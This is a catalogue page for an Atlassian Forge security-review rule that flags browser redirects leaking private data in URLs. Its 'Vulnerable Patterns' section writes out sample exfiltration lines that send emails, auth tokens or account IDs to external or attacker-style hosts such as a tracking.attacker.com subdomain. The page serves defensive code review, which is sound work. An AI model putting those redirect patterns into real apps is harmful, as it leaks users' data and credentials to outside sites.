data-egress-redirects

data-egress-redirects is a cursor rule for Cursor from atlassian/forge-skills. It costs 12 tokens per session (1,111 once invoked), scanned A, original, Apache-2.0.

A security rule for Atlassian Forge Custom UI code, which is the browser-based part of a Forge app. It detects redirects that place private information in external URLs.

In plain words
What is it for?
It helps review redirects made with window.location and related APIs for email addresses, issue details, user data, or other sensitive values included in the destination URL.
Why use it?
Data in query strings, subdomains, or URL paths can be sent to another website and may appear in browser history, logs, or analytics systems. Browser-side hiding does not prevent this leak.

Cursor rule for Cursor ✓ vendor

Written for Cursor: a Cursor rule (.mdc).

Good fit It helps review redirects made with window.location and related APIs for email…

Compare 6 cursor rules from other repositories ↓
Install with agentmods
npx agentmods add rules/atlassian/forge-skills/data-egress-redirects
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/atlassian/forge-skills

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for data-egress-redirects

README.md
[![agentmods](https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects.svg)](https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects)
Your own site
<a href="https://agentmods.dev/rules/atlassian/forge-skills/data-egress-redirects"><img src="https://agentmods.dev/badge/rules/atlassian/forge-skills/data-egress-redirects.svg" alt="Measured on agentmods" height="20"></a>
Per session 12 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,111 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00012 $0.01111
Opus 5 $0.00006 $0.00556
Sonnet 5 $0.00002 $0.00222
Haiku 4.5 $0.00001 $0.00111

Measured 6d ago against content hash 6bcdfa0996f3, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

data-egress-redirects scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/forge-security-review/assets/security-rules/forge-egress-remotes/data-egress-redirects.mdc · 165 lines

How it starts

The opening of the file, as written. The whole thing — 165 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Context

  • Forge Custom UI apps can redirect users via window.location with sensitive data appended to URLs. No browser CSP directive currently prevents this.
  • Related CWE: CWE-201 (Insertion of Sensitive Information Into Sent Data).
  • Reference: Internal VULN Guide to window.location data egress.

Scope & Signals

  • Location: static/ directory in Forge apps (Custom UI iframe content).
  • Redirect patterns to check:
    • window.location = url
    • window.location.href = url
    • window.location.assign(url)
    • window.location.replace(url)
    • document.location, self.location, location variants
  • Data egress vectors:
    • Query parameters: ?userData=${sensitiveData}
    • Subdomains: ${userData}.attacker.com
    • Path segments: /exfil/${userData}

Vulnerable Patterns

// VULNERABLE - User data in query parameters
const userData = await getUserData();
window.location = `https://external-site.com/callback?data=${userData.email}`;

// VULNERABLE - Building URL with sensitive context
const issueData = await fetchIssueDetails();
window.location.href = `https://analytics.example.com/track?issue=${issueData.key}&user=${issueData.reporter}`;

// VULNERABLE - Redirect to undeclared domain
window.location = 'https://not-in-manifest.com/page';

// VULNERABLE - Dynamic URL construction
const baseUrl = payload.redirectUrl;  // Attacker-controlled
const token = await getAuthToken();
window.location.assign(`${baseUrl}?token=${token}`);

// VULNERABLE - Data in subdomain
const userId = context.accountId;
window.location = `https://${userId}.tracking.attacker.com/`;

Secure Patterns

// SECURE - Static redirect to declared domain, no sensitive params
window.location = 'https://docs.example.com/help';

// SECURE - Validate redirect URL against allowlist
const ALLOWED_REDIRECTS = [
  'https://app.example.com/callback',
  'https://auth.example.com/complete'
];

function safeRedirect(url) {
  if (!ALLOWED_REDIRECTS.includes(url)) {
    throw new Error('Invalid redirect URL');
  }
  window.location = url;
}

// SECURE - Use Forge navigation instead of raw redirect
import { router } from '@forge/bridge';

async function navigateToPage() {
  await router.navigate('/admin/settings');
}

// SECURE - No sensitive data in URL
window.location = 'https://external.example.com/page';
// Sensitive data sent via POST body instead

Detection Checklist

  • Search static/ directory for window.location, location.href, etc.
  • Extract URL values from redirect assignments.
  • Check if URLs contain template literals with variables.
  • Verify redirect domains are declared in manifest permissions.
  • Assess what data is included in URL parameters.
  • Look for dynamic URL construction from untrusted sources.

Data Flow Analysis

// Trace data flow to redirects:
// 1. Identify the redirect statement
window.location.href = fullUrl;

// 2. Find variable assignments
const fullUrl = base + "://" + domain + "?" + params;

// 3. Trace each component
const base = "https";  // Static - OK
const domain = "api.example.com";  // Static - OK
const params = `userId=${context.accountId}`;  // Sensitive data!

// 4. Verify domain is in manifest
// 5. Assess sensitivity of params

False Positive Indicators

// Local navigation (same origin)
window.location = '/settings';
window.location.href = './page.html';

// Static URLs without parameters
window.location = 'https://help.example.com';

// Shadowed location variable (not global)
function handler() {
  const location = { href: '' };  // Local variable
  location.href = 'value';  // Not a redirect
}

Manifest Cross-Reference

# Check redirects against manifest:
permissions:
  external:
    fetch:
      client:
        - 'api.example.com'
        
# Redirect to api.example.com - OK (if no sensitive data)
# Redirect to other.example.com - VIOLATION (undeclared)

PoC / Test Leads

  • Intercept redirect and analyze URL parameters for sensitive data.
  • Verify redirect domains match manifest declarations.
  • Test with different user contexts to see what data is exfiltrated.
  • Check network logs for outbound requests to unexpected domains.

Read the full file on GitHub · 165 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 165 lines · 12 tokens per session scan A 6bcdfa0996f3

Subscribe to this mod's changes

data-egress-redirects is a cursor rule published in the GitHub repository atlassian/forge-skills (21 stars, last pushed yesterday), licensed Apache-2.0. It adds 12 tokens to every session and 1,111 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.